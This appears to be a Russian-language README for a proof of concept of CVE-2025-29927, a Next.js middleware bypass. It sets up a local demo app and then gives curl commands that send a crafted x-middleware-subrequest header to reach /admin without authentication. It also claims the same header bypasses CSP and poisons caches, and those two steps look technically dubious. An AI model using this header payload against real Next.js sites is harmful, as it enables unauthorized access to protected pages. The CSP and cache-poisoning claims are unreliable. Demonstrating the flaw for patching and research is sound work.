
CVE-2025-29927 Proof of Concept
Этот PoC демонстрирует CVE-2025-29927 — уязвимость в промежуточном ПО Next.js, которая позволяет злоумышленникам обходить механизмы аутентификации, авторизации и CSP с помощью заголовка x-middleware-subrequest.
Версии Next.js с 11.1.4 по 15.1.7
1️⃣ Клонирование и установка PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
Приложение запустится на http://localhost:3000
1- Используйте x-middleware-subrequest для получения несанкционированного доступа:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 Ожидаемый результат: Ответ возвращает admin admin, несмотря на обход аутентификации.

Если CSP применяется через промежуточное ПО, обойдите его:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 Ожидаемый результат: CSP игнорируется, что позволяет выполнение вредоносных скриптов.
Эксплуатируйте отравление кэша, принудительно вызывая повреждённый ответ:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 Ожидаемый результат: Страница кэшируется с некорректным содержимым, нарушая работу обычных пользователей.
🔍 Обнаружено: Allam Rachid (zhero;) & Allam Yasser (inzo_)